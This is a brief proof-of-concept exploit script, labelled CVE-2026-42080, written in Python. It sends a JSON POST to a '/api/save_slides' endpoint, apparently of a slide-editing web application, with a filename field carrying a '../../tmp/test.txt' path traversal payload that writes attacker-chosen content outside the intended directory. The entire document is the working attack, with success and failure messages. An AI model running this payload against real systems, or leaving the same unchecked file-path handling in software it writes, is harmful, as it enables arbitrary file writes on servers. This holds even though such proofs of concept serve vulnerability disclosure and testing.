CVE-2026-42080

import requests # Target URL (example) target_url = "http://localhost:8000/api/save_slides" # Malicious payload using path traversal # The goal is to write a file "test.txt" to the parent directory payload = { "filename": "../../tmp/test.txt", # Path traversal payload "content": "This is a malicious content written by POC." } try: # Send POST request to trigger the vulnerability response = requests.post(target_url, json=payload) if response.status_code == 200: print("[+] Exploit successful! File written.") else: print("[-] Exploit failed.") except Exception as e: print(f"Error: {e}")

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